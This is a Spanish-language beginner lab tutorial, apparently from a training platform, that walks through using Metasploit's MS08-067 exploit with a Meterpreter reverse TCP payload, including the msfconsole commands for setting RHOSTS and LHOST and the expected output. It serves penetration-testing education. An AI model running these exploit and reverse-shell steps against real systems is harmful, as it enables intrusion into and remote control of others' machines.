Usar un Payload de Shell Inverso en Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá los pasos fundamentales para utilizar una carga útil de shell inversa (reverse shell payload) dentro del Metasploit Framework. Metasploit es una potente herramienta de pruebas de penetración que viene con una vasta biblioteca de exploits, cargas útiles y módulos auxiliares.

Una "carga útil" (payload) es el código que se ejecuta en el sistema objetivo después de que un exploit lo compromete con éxito. Un "shell inverso" (reverse shell) es un tipo de carga útil en el que la máquina objetivo comprometida inicia una conexión de vuelta a la máquina del atacante. Esta técnica se utiliza a menudo para eludir firewalls que podrían bloquear las conexiones entrantes al objetivo pero permitir las salientes.

Estaremos utilizando la carga útil windows/meterpreter/reverse_tcp. Meterpreter es una carga útil avanzada y rica en funciones que proporciona un shell interactivo, permitiendo al atacante ejecutar comandos, subir/descargar archivos y realizar muchas otras actividades posteriores a la explotación.

Al final de este laboratorio, comprenderá el flujo de trabajo para seleccionar un exploit, configurar una carga útil de shell inversa y lanzar el ataque.

Seleccionar un módulo de exploit para un objetivo

En este paso, iniciaremos la consola del Metasploit Framework y seleccionaremos un módulo de exploit. Un exploit es un fragmento de código que aprovecha una vulnerabilidad específica en un sistema. Para este laboratorio, utilizaremos un exploit conocido con fines educativos.

Primero, abra una terminal desde su escritorio.

Ahora, inicie la consola de Metasploit. Usaremos la bandera -q para un inicio "silencioso" (quiet launch), que suprime el banner de inicio.

msfconsole -q

Una vez que Metasploit se cargue, verá el prompt msf6 >. Esta es la interfaz de línea de comandos de Metasploit.

Nuestra próxima acción es seleccionar un exploit. Usaremos el comando use seguido del nombre del módulo de exploit. Para este laboratorio, nos dirigiremos a la vulnerabilidad MS08-067, un exploit clásico y confiable para sistemas Windows más antiguos.

Escriba el siguiente comando en el prompt msf6 >:

use exploit/windows/smb/ms08_067_netapi

Después de presionar Enter, notará que el prompt cambia. Ahora incluye el nombre del exploit seleccionado, lo que indica que se encuentra en el contexto de este módulo.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Ahora ha seleccionado con éxito un módulo de exploit y está listo para configurarlo.

Establecer la carga útil a windows/meterpreter/reverse_tcp

En este paso, establecerá la carga útil para el exploit seleccionado. Una carga útil es el código que se ejecutará en la máquina objetivo después de que el exploit sea exitoso. Como se mencionó en la introducción, utilizaremos una carga útil de Meterpreter TCP inversa.

Metasploit puede haber seleccionado esta carga útil por defecto al seleccionar el exploit (como se vio en la salida del paso anterior), pero es una buena práctica establecerla explícitamente para asegurar que la carga útil correcta esté configurada.

En el prompt msf6 exploit(windows/smb/ms08_067_netapi) >, use el comando set payload:

set payload windows/meterpreter/reverse_tcp

Después de ejecutar el comando, Metasploit confirmará el cambio.

payload => windows/meterpreter/reverse_tcp

Para ver todas las opciones que puede configurar para el exploit y la carga útil seleccionados, puede usar el comando show options. Este es un comando muy útil para ver qué parámetros se requieren antes de lanzar un ataque.

show options

Verá una lista de opciones del módulo, opciones de la carga útil y objetivos del exploit. Observe las opciones RHOSTS y LHOST, que configuraremos en los siguientes pasos.

Establecer la opción RHOSTS para el exploit

En este paso, configuraremos la opción RHOSTS. RHOSTS significa "Remote Host(s)" (Host(s) Remoto(s)) y especifica la dirección IP de la máquina objetivo que desea atacar.

Para que cualquier exploit funcione, debe indicar a Metasploit a dónde enviarlo. El comando set se utiliza para configurar estas opciones.

En un escenario del mundo real, habría identificado la dirección IP de un objetivo a través de reconocimiento. Para este laboratorio, utilizaremos una dirección IP de marcador de posición.

En el prompt msf6 exploit(...) >, establezca RHOSTS a 10.0.2.15.

set RHOSTS 10.0.2.15

Metasploit confirmará que la opción RHOSTS ha sido establecida.

RHOSTS => 10.0.2.15

Ahora le ha indicado a Metasploit qué máquina es el objetivo.

Establecer la opción LHOST a la dirección IP de tu Kali

En este paso, estableceremos la opción LHOST. LHOST significa "Local Host" (Host Local) y debe establecerse a la dirección IP de tu máquina (la máquina del atacante). Este es un paso crucial para un shell inverso, ya que le dice al objetivo comprometido a dónde conectarse de vuelta.

Para encontrar la dirección IP de tu máquina, necesitarás abrir una nueva ventana de terminal. No cierres tu terminal msfconsole existente. Puedes abrir una nueva terminal desde el menú de aplicaciones.

En la nueva terminal, ejecuta el siguiente comando para mostrar la información de tu interfaz de red:

ip addr show eth0

Verás una salida similar a esta. Busca la dirección inet, que es tu IP.

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

En el ejemplo anterior, la dirección IP es 172.17.0.2. Anota tu dirección IP.

Ahora, vuelve a tu terminal original con el prompt msfconsole. Usa el comando set para configurar LHOST con la dirección IP que acabas de encontrar. Reemplaza YOUR_IP_ADDRESS con tu IP real.

set LHOST YOUR_IP_ADDRESS

Por ejemplo, si tu IP fuera 172.17.0.2, el comando sería:

set LHOST 172.17.0.2

Metasploit confirmará la configuración:

LHOST => 172.17.0.2

Todas las opciones necesarias están ahora configuradas.

Ejecutar el exploit y esperar a que el objetivo se conecte de vuelta

En este paso, con todas las opciones configuradas, lanzaremos el exploit.

El comando exploit (o su alias, run) le indica a Metasploit que inicie el listener para la conexión inversa y luego envíe el exploit al objetivo especificado en RHOSTS.

En el prompt msf6 exploit(...) >, escribe:

exploit

Metasploit intentará ahora ejecutar el exploit contra el objetivo. Verás una salida como esta:

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

Importante: En este entorno de laboratorio, el exploit fallará porque no hay una máquina vulnerable real en la dirección IP de marcador de posición 10.0.2.15. La salida "Exploit completed, but no session was created" (Exploit completado, pero no se creó ninguna sesión) es la esperada.

Si este fuera un objetivo real y vulnerable, y el exploit fuera exitoso, verías un mensaje como "Meterpreter session 1 opened" (Sesión de Meterpreter 1 abierta) y tu prompt cambiaría a meterpreter >, dándote control total sobre el objetivo.

Esto completa el proceso de configuración y lanzamiento de un exploit con un payload de shell inverso. Para salir de Metasploit, escribe exit.

exit

Resumen

En este laboratorio, has aprendido el flujo de trabajo fundamental para usar un payload de shell inverso en el Metasploit Framework.

Has practicado los siguientes pasos clave:

  1. Iniciar la consola de Metasploit (msfconsole).
  2. Seleccionar un módulo de exploit con el comando use.
  3. Establecer un payload con el comando set payload.
  4. Configurar las opciones necesarias, específicamente RHOSTS (el objetivo) y LHOST (tu IP de escucha).
  5. Lanzar el ataque con el comando exploit.

También has aprendido la diferencia crítica entre RHOSTS y LHOST y por qué establecer LHOST correctamente es esencial para que un shell inverso tenga éxito. Aunque el exploit no resultó en una sesión en este entorno simulado, has ejecutado con éxito todos los comandos necesarios para un ataque en el mundo real. ¡Felicitaciones por completar el laboratorio!